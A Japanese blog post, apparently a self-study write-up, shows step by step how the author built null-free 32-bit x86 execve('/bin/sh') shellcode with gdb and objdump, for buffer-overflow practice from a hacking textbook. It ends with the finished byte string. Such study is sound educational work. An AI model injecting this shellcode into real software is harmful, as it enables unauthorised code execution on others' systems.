シェルコードを書いてみた

ふーん。。。で流し読みしてちゃんと試してなかった Hacking -美しき策謀- 第二版のバッファオーバーフローをやってみたらできなかったよ。なんで!

ということで実験。
まずは謎の文字列 (シェルコード) を自分で用意してみる。

調べればこの手のシェルコードなんてたくさん出てくるんだろうけど、車輪の仕組みを知るには車輪を作るのが一番てっとり早いのです。

スポンサーリンク

まずは普通にシェルを動かすコードをCで

#include <unistd.h>
int main()
{
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}

$gcc -m32 exec_sh.c
参考にしてる本が x86 ベースで書かれてるのでサンプルコードは全部 -m32 でコンパイルすることにしてます。

まず試してみる。まぁ当然、shが起動する。
$./a.out
$

gdb で中身を見てみる

$gdb -q a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483fc <+0>:	lea    ecx,[esp+0x4]
   0x08048400 <+4>:	and    esp,0xfffffff0
   0x08048403 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048406 <+10>:	push   ebp
   0x08048407 <+11>:	mov    ebp,esp
   0x08048409 <+13>:	push   ecx
   0x0804840a <+14>:	sub    esp,0x14
   0x0804840d <+17>:	mov    DWORD PTR [ebp-0x10],0x80484d0
   0x08048414 <+24>:	mov    DWORD PTR [ebp-0xc],0x0
   0x0804841b <+31>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804841e <+34>:	sub    esp,0x4
   0x08048421 <+37>:	push   0x0
   0x08048423 <+39>:	lea    edx,[ebp-0x10]
   0x08048426 <+42>:	push   edx
   0x08048427 <+43>:	push   eax
   0x08048428 <+44>:	call   0x80482f0 
   0x0804842d <+49>:	add    esp,0x10
   0x08048430 <+52>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048433 <+55>:	leave  
   0x08048434 <+56>:	lea    esp,[ecx-0x4]
   0x08048437 <+59>:	ret    
End of assembler dump.
(gdb) disas execve
Dump of assembler code for function execve@plt:
   0x080482f0 <+0>:	jmp    DWORD PTR ds:0x80496cc
   0x080482f6 <+6>:	push   0x10
   0x080482fb <+11>:	jmp    0x80482c0
End of assembler dump.

これだとexecveの中でやってることがわからない。
ということでスタティックリンクでやりなおし。

$gcc -m32 -static exec_sh.c

$gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048e3c <+0>:	lea    ecx,[esp+0x4]
   0x08048e40 <+4>:	and    esp,0xfffffff0
   0x08048e43 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048e46 <+10>:	push   ebp
   0x08048e47 <+11>:	mov    ebp,esp
   0x08048e49 <+13>:	push   ecx
   0x08048e4a <+14>:	sub    esp,0x14
   0x08048e4d <+17>:	mov    DWORD PTR [ebp-0x10],0x80be548
   0x08048e54 <+24>:	mov    DWORD PTR [ebp-0xc],0x0
   0x08048e5b <+31>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048e5e <+34>:	sub    esp,0x4
   0x08048e61 <+37>:	push   0x0
   0x08048e63 <+39>:	lea    edx,[ebp-0x10]
   0x08048e66 <+42>:	push   edx
   0x08048e67 <+43>:	push   eax
   0x08048e68 <+44>:	call   0x806bf70 
   0x08048e6d <+49>:	add    esp,0x10
   0x08048e70 <+52>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048e73 <+55>:	leave  
   0x08048e74 <+56>:	lea    esp,[ecx-0x4]
   0x08048e77 <+59>:	ret    
End of assembler dump.
(gdb) disas execve
Dump of assembler code for function execve:
   0x0806bf70 <+0>:	push   ebx
   0x0806bf71 <+1>:	mov    edx,DWORD PTR [esp+0x10]
   0x0806bf75 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
   0x0806bf79 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
   0x0806bf7d <+13>:	mov    eax,0xb
   0x0806bf82 <+18>:	call   DWORD PTR ds:0x80ea470
   0x0806bf88 <+24>:	cmp    eax,0xfffff000
   0x0806bf8d <+29>:	ja     0x806bf91 
   0x0806bf8f <+31>:	pop    ebx
   0x0806bf90 <+32>:	ret    
   0x0806bf91 <+33>:	mov    edx,0xffffffe8
   0x0806bf97 <+39>:	neg    eax
   0x0806bf99 <+41>:	mov    DWORD PTR gs:[edx],eax
   0x0806bf9c <+44>:	or     eax,0xffffffff
   0x0806bf9f <+47>:	pop    ebx
   0x0806bfa0 <+48>:	ret    
End of assembler dump.
(gdb) 

call DWORD PTR ds:0x80ea470 の先で何やってるのかわからない。
(ここでしばし gdb の使い方を調べる。。。)

(gdb) disas *0x80ea470
Dump of assembler code for function _dl_sysinfo_int80:
   0x0806ea10 <+0>:	int    0x80
   0x0806ea12 <+2>:	ret    
End of assembler dump.
(gdb) 

int 0x80 命令を実行しているもよう。 int 0x80 ってなんだろう。
(ここでしばし調べもの。。。)

どうやら割り込みベクタテーブルらしい。システムコールを呼ぶときには、レジスタにシステムコール番号と引数をセットして int 0x80 命令を実行すれば良いということなので、breakポイント張ってこの直前のレジスタの状態を調べる。

(gdb) break *0x0806bf82
Breakpoint 1 at 0x806bf82
(gdb) run
Starting program: /home/******/a.out 

Breakpoint 1, 0x0806bf82 in execve ()
(gdb) i r
eax            0xb	11
ecx            0xffffd3c8	-11320
edx            0x0	0
ebx            0x80be548	134997320
esp            0xffffd3a8	0xffffd3a8
ebp            0xffffd3d8	0xffffd3d8
esi            0x0	0
edi            0x80e9aa4	135174820
eip            0x806bf82	0x806bf82 
eflags         0x292	[ AF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) 
(gdb) x/4wx $ebx
0x80be548:	0x6e69622f	0x0068732f	0x6362696c	0x6174732d

真のハッカーとはこれを見て、ASCIIだなと思わなければいけないらしい。
ちなみにASCIIにすると。。。

(gdb) x/s $ebx
0x80be548:	"/bin/sh"
(gdb) x/4wx $ecx
0xffffd3c8:	0x080be548	0x00000000	0x080e9af4	0xffffd3f0

つまり、この時のレジスタはこんな状態

eax:0xb (11) → execve(2)のシステムコール番号
ebx:0x80be548 → “/bin/sh”
ecx:0xffffd3c8 → “/bin/sh” の先頭アドレス + NULL
edx:0

レジスタをこの状態にして int 0x80 命令を実行すると /bin/sh が呼ばれるはず。

というわけで、これをアセンブラで再現する

/* exec_shell.s */
  .intel_syntax noprefix
  .global _start

_start:
  push 0x0068732f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  mov eax, 11
  int 0x80

よけいなものがくっつかないようにコンパイル。
gcc -nostdlib -m32 exec_shell.s

期待通りに動くかなー。
$./a.out
$

おk。

objdump してみます。

$objdump -d a.out

a.out:     file format elf32-i386


Disassembly of section .text:

08048098 <_start>:
 8048098:	68 2f 73 68 00       	push   $0x68732f
 804809d:	68 2f 62 69 6e       	push   $0x6e69622f
 80480a2:	89 e3                	mov    %esp,%ebx
 80480a4:	31 d2                	xor    %edx,%edx
 80480a6:	52                   	push   %edx
 80480a7:	53                   	push   %ebx
 80480a8:	89 e1                	mov    %esp,%ecx
 80480aa:	b8 0b 00 00 00       	mov    $0xb,%eax
 80480af:	cd 80                	int    $0x80

はい。シェルコードできあがり。
でもこれだと、途中に null が入ってるのでダメ。
というのは、普通、バッファオーバーフローの脆弱性攻撃に strcpy とかでこのシェルコードを送り込むからです。
null が入ってると途中で終端されちゃいます。

まずは “/bin/sh” ですが、 “//bin/sh” にしちゃいます。これで “68 2f 73 68 00” の 00 を追い出せます。
あとは11を即値で指定しないでedxから計算してます。

/* exec_shell.s */
  .intel_syntax noprefix
  .global _start

_start:
  xor edx, edx
  push edx
  push 0x68732f6e
  push 0x69622f2f
  mov ebx, esp
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80

これをコンパイルしなおして、コンパイル結果を objdump すると null が消えていることがわかります。

$ objdump -d a.out 

a.out:     file format elf32-i386


Disassembly of section .text:

08048098 <_start>:
 8048098:	31 d2                	xor    %edx,%edx
 804809a:	52                   	push   %edx
 804809b:	68 6e 2f 73 68       	push   $0x68732f6e
 80480a0:	68 2f 2f 62 69       	push   $0x69622f2f
 80480a5:	89 e3                	mov    %esp,%ebx
 80480a7:	52                   	push   %edx
 80480a8:	53                   	push   %ebx
 80480a9:	89 e1                	mov    %esp,%ecx
 80480ab:	8d 42 0b             	lea    0xb(%edx),%eax
 80480ae:	cd 80                	int    $0x80

ということであとはこれを適当に整形して。。。とりあえずファイルにテキスト形式で吐かせておく。
$objdump -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' > shellcode.txt

\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

できあがり。なんだかんだで1時間ほどかかりました。慣れたらもうちょっとささっと書けるかなー。
そこそこコンパクトなシェルコードが書けたんじゃないかと思います。

しかしバッファオーバーフローは成立しないのであった。なんでー?

次回に続く (先に種明かしをすると、、、x64 NXビット…

スポンサーリンク

フォローする